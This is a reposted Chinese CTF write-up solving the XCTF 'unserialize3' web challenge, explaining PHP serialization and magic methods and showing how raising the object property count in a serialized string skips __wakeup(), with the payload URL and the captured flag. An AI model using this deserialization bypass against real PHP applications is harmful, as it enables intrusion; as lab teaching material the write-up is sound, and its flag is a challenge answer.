IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> XCTF-攻防世界CTF平台-Web类——10、unserialize3 -> 正文阅读

[PHP知识库]XCTF-攻防世界CTF平台-Web类——10、unserialize3

打开题目地址:
在这里插入图片描述

发现是一段残缺的php代码
题目名称unserialize3就是反序列化,要求我们通过反序列化漏洞绕过__wakeup()函数。
相关概念:
序列化:
??序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
php的序列化和反序列化
??php的序列化和反序列化由serialize()和unserialize()这两个函数来完成。serialize()完成序列化的操作,将传入的值转换为序列化后的字符串;而unserialize()完成反序列化的操作,将字符串转换成原来的变量。
serialize(mixed $value): string
??serialize()返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方:
O::""::{<field name 1><field value 1>…}
在这里插入图片描述

??当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。
unserialize(string $str): mixed
??unserialize()对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
??若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。
魔术方法
??PHP中以两个下划线开头的方法,__construct(), __destruct(), __call(), __callStatic(),__get(), __set(), __isset(), __unset (),__sleep(),__wakeup(),__toString(),__set_state(),__clone(),__autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能。
与序列化和反序列化的魔术方法主要是:

__construct()	//当一个对象创建时被调用
__destruct() 	//对象被销毁时触发
__wakeup() 	//使用unserialize时触发
__sleep() 	//使用serialize时触发
__toString() 	//把类当做字符串时触发
__get() 	//用于从不可访问的属性读取数据
__set() 	//用于将数据写入不可访问的属性

所以我们先写一个php调用序列化函数的代码:

<?php
class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>

在线运行php代码:
在这里插入图片描述

??得到一个序列化对象O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;},其对象所在类名是"xctf"、该对象有一个属性,属性名为一个长度为4的字符串"flag"、该属性值为一个长度为3的字符串"111"
所以我们传入序列化对象的payload格式就是:
http://111.200.241.244:64924/?code=O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
在这里插入图片描述

??之后我们就是要在执行unserialize()反序列化之后绕过__wakeup()函数,_wakeup()函数漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。
??例如当前xctf类对象只有1个参数属性$flag,序列化结果为:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
??如果将xctf对象个数改成比1大的数,就会绕过wakeup。修改后的结果:O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
修改之后的payload:
http://111.200.241.244:64924/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
在这里插入图片描述

得到flag:cyberpeace{54ebe7ec48c8aaa10ccc64cb338f080c}

参考的网址:
https://baike.baidu.com/item/%E5%BA%8F%E5%88%97%E5%8C%96/2890184?fr=aladdin
https://www.php.net/manual/zh/function.serialize.php
https://www.php.net/manual/zh/function.unserialize.php
https://blog.csdn.net/silence1_/article/details/89716976

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-23 12:08:25  更:2021-11-23 12:08:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 18:52:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码